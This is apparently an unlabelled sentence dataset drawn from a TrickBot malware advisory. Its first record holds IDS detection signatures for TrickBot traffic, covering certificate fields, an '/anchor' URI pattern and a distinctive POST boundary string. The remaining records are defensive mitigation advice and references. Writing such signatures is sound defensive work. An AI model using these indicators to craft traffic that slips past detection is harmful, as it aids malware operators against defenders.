{"sentence": "alert tcp any [443,447] -> any any (msg:\"TRICKBOT:SSL/TLS Server X.509 Cert Field contains 'example.com' (Hex)\"; sid:1; rev:1; flow:established,from_server; ssl_state:server_hello; content:\"|0b|example.com\"; fast_pattern:only; content:\"Global Security\"; content:\"IT Department\"; pcre:\"/(?:\\x09\\x00\\xc0\\xb9\\x3b\\x93\\x72\\xa3\\xf6\\xd2|\\x00\\xe2\\x08\\xff\\xfb\\x7b\\x53\\x76\\x3d)/\"; classtype:bad-unknown; metadata:service ssl,service and-ports;) alert tcp any any -> any $HTTP_PORTS (msg:\"TRICKBOT_ANCHOR:HTTP URI GET contains '/anchor'\"; sid:1; rev:1; flow:established,to_server; content:\"/anchor\"; http_uri; fast_pattern:only; content:\"GET\"; nocase; http_method; pcre:\"/^\\/anchor_?.{3}\\/[\\w_-]+\\.[A-F0-9]+\\/?$/U\"; classtype:bad-unknown; priority:1; metadata:service http;) alert tcp any $SSL_PORTS -> any any (msg:\"TRICKBOT:SSL/TLS Server X.509 Cert Field contains 'C=XX, L=Default City, O=Default Company Ltd'\"; sid:1; rev:1; flow:established,from_server; ssl_state:server_hello; content:\"|31 0b 30 09 06 03 55 04 06 13 02|XX\"; nocase; content:\"|31 15 30 13 06 03 55 04 07 13 0c|Default City\"; nocase; content:\"|31 1c 30 1a 06 03 55 04 0a 13 13|Default Company Ltd\"; nocase; content:!\"|31 0c 30 0a 06 03 55 04 03|\"; classtype:bad-unknown; reference:url,www.virustotal.com/gui/file/e9600404ecc42cf86d38deedef94068db39b7a0fd06b3b8fb2d8a3c7002b650e/detection; metadata:service ssl;) alert tcp any any -> any $HTTP_PORTS (msg:\"TRICKBOT:HTTP Client Header contains 'boundary=Arasfjasu7'\"; sid:1; rev:1; flow:established,to_server; content:\"boundary=Arasfjasu7|0d 0a|\"; http_header; content:\"name=|22|proclist|22|\"; http_header; content:!\"Referer\"; content:!\"Accept\"; content:\"POST\"; http_method; classtype:bad-unknown; metadata:service http;) alert tcp any any -> any $HTTP_PORTS (msg:\"TRICKBOT:HTTP Client Header contains 'User-Agent|3a 20|WinHTTP loader/1.'", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "System owners and administrators should review any configuration changes prior to implementation to avoid negative impacts.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Provide social engineering and phishing training to employees.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Consider drafting or updating a policy addressing suspicious emails that specifies users must report all suspicious emails to the security and/or IT departments.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Mark external emails with a banner denoting the email is from an external source to assist users in detecting spoofed emails.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Adhere to the principle of least privilege.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Implement a Domain-Based Message Authentication, Reporting & Conformance validation system.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Segment and segregate networks and functions.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Limit unnecessary lateral communications between network hoses, segments, and devices. Consider using application allowlisting technology on all assets to ensure that only authorized software executes, and all unauthorized software is blocked from executing on assets.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Implement an Intrusion Detection System, if not already used, to detect C2 activity and other potentially malicious network activity Monitor web traffic.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Restrict user access to suspicious or risky sites.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Maintain situational awareness of the latest threats and implement appropriate access control lists.", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Resources CISA Fact Sheet: TrickBot Malware MS-ISAC White Paper: Security Primer – TrickBot United Kingdom National Cyber Security Centre Advisory: Ryuk Ransomware Targeting Organisations Globally CISA and MS-ISAC Joint Alert AA20-280A: Emotet Malware MITRE ATT&CK for Enterprise References [1] FireEye Blog - A Nasty Trick: From Credential Theft Malware to Business Disruption", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "[2] Eclypsium Blog - TrickBot Now Offers 'TrickBoot': Persist, Brick, Profit Revisions March 17, 2021:", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Initial Version March 24, 2021:", "labels": [], "doc_title": "AA21076A TrickBot Malware"}
{"sentence": "Added MITRE ATT&CK Technique T1592.003 used for reconnaissance May 20, 2021:", "labels": [], "doc_title": "AA21076A TrickBot Malware"}